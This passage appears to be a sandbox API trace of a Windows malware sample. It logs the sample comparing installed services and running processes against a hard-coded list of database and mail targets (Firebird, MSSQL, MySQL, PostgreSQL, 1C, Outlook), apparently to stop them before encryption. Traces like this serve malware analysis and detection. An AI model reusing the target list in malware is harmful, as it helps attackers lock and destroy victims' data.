(lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0042.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0042.807] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0042.807] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0042.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0042.807] lstrlenW (lpString="EventSystem") returned 11 [0042.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.807] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.807] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.807] lstrlenW (lpString="gpsvc") returned 5 [0042.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.807] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.807] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.807] lstrlenW (lpString="iphlpsvc") returned 8 [0042.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.808] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.808] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.808] lstrlenW (lpString="LanmanServer") returned 12 [0042.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.808] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.808] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.808] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.808] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.808] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.808] lstrlenW (lpString="lmhosts") returned 7 [0042.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.808] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.808] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.808] lstrlenW (lpString="MMCSS") returned 5 [0042.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0042.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0042.808] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0042.809] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0042.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0042.809] lstrlenW (lpString="MpsSvc") returned 6 [0042.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.809] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.809] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.809] lstrlenW (lpString="Netman") returned 6 [0042.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0042.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0042.809] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0042.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0042.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0042.809] lstrlenW (lpString="netprofm") returned 8 [0042.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0042.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0042.809] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0042.809] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0042.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0042.809] lstrlenW (lpString="NlaSvc") returned 6 [0042.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0042.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0042.809] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0042.809] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0042.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0042.810] lstrlenW (lpString="nsi") returned 3 [0042.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0042.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0042.810] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0042.810] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0042.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0042.810] lstrlenW (lpString="PcaSvc") returned 6 [0042.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0042.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0042.810] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0042.810] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0042.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0042.810] lstrlenW (lpString="PlugPlay") returned 8 [0042.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0042.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0042.810] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0042.811] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0042.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0042.811] lstrlenW (lpString="Power") returned 5 [0042.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0042.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0042.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0042.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0042.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0042.811] lstrlenW (lpString="ProfSvc") returned 7 [0042.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0042.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0042.811] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0042.811] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0042.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0042.811] lstrlenW (lpString="RpcEptMapper") returned 12 [0042.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0042.811] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0042.811] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0042.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0042.811] lstrlenW (lpString="RpcSs") returned 5 [0042.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0042.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0042.811] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0042.811] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0042.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0042.812] lstrlenW (lpString="SamSs") returned 5 [0042.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0042.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0042.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0042.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0042.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0042.812] lstrlenW (lpString="Schedule") returned 8 [0042.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0042.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0042.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0042.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0042.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0042.812] lstrlenW (lpString="SENS") returned 4 [0042.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0042.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0042.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0042.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0042.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0042.812] lstrlenW (lpString="ShellHWDetection") returned 16 [0042.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0042.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0042.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0042.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0042.812] lstrlenW (lpString="Spooler") returned 7 [0042.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0042.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0042.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0042.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0042.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0042.813] lstrlenW (lpString="SysMain") returned 7 [0042.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0042.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0042.813] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0042.813] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0042.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0042.813] lstrlenW (lpString="Themes") returned 6 [0042.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0042.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0042.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0042.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0042.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0042.813] lstrlenW (lpString="TrkWks") returned 6 [0042.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0042.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0042.813] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0042.813] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0042.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0042.813] lstrlenW (lpString="UxSms") returned 5 [0042.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0042.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0042.814] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0042.814] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0042.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0042.814] lstrlenW (lpString="VSS") returned 3 [0042.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0042.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0042.814] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0042.814] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0042.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0042.815] lstrlenW (lpString="WdiServiceHost") returned 14 [0042.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0042.815] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0042.815] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0042.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0042.815] lstrlenW (lpString="WdiSystemHost") returned 13 [0042.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0042.815] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0042.815] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0042.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0042.815] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0042.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0042.815] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0042.815] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0042.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0042.815] lstrlenW (lpString="Winmgmt") returned 7 [0042.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0042.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0042.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0042.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0042.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0042.816] lstrlenW (lpString="WPDBusEnum") returned 10 [0042.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0042.816] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0042.816] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0042.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0042.816] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6e1eb0 | out: hHeap=0x5f0000) returned 1 [0042.816] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0042.819] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0042.819] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0042.820] lstrlenW (lpString="System") returned 6 [0042.821] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0042.821] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0042.821] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0042.821] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0042.821] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0042.821] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0042.821] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0042.821] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0042.854] lstrlenW (lpString="smss.exe") returned 8 [0042.854] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0042.854] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0042.854] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0042.854] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0042.854] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0042.854] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0042.854] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0042.854] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.014] lstrlenW (lpString="csrss.exe") returned 9 [0043.014] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.014] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0043.014] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0043.014] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0043.014] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0043.014] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0043.014] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0043.014] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0043.015] lstrlenW (lpString="wininit.exe") returned 11 [0043.015] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0043.015] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0043.015] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0043.015] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0043.015] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0043.015] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0043.015] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0043.015] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.017] lstrlenW (lpString="csrss.exe") returned 9 [0043.017] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.017] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0043.017] lstrlenW (lpString="winlogon.exe") returned 12 [0043.017] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0043.018] lstrlenW (lpString="services.exe") returned 12 [0043.018] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0043.020] lstrlenW (lpString="lsass.exe") returned 9 [0043.020] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0043.020] lstrlenW (lpString="lsm.exe") returned 7 [0043.021] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.021] lstrlenW (lpString="svchost.exe") returned 11 [0043.021] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.022] lstrlenW (lpString="svchost.exe") returned 11 [0043.022] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.023] lstrlenW (lpString="svchost.exe") returned 11 [0043.024] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.024] lstrlenW (lpString="svchost.exe") returned 11 [0043.024] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.026] lstrlenW (lpString="svchost.exe") returned 11 [0043.026] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0043.026] lstrlenW (lpString="audiodg.exe") returned 11 [0043.026] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.027] lstrlenW (lpString="svchost.exe") returned 11 [0043.027] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.028] lstrlenW (lpString="svchost.exe") returned 11 [0043.028] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0043.029] lstrlenW (lpString="dwm.exe") returned 7 [0043.029] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0043.030] lstrlenW (lpString="explorer.exe") returned 12 [0043.030] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0043.031] lstrlenW (lpString="spoolsv.exe") returned 11 [0043.031] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.032] lstrlenW (lpString="taskhost.exe") returned 12 [0043.032] Process32NextW (in: hSnapshot=0x1d4, lppe=0x214fd34 | 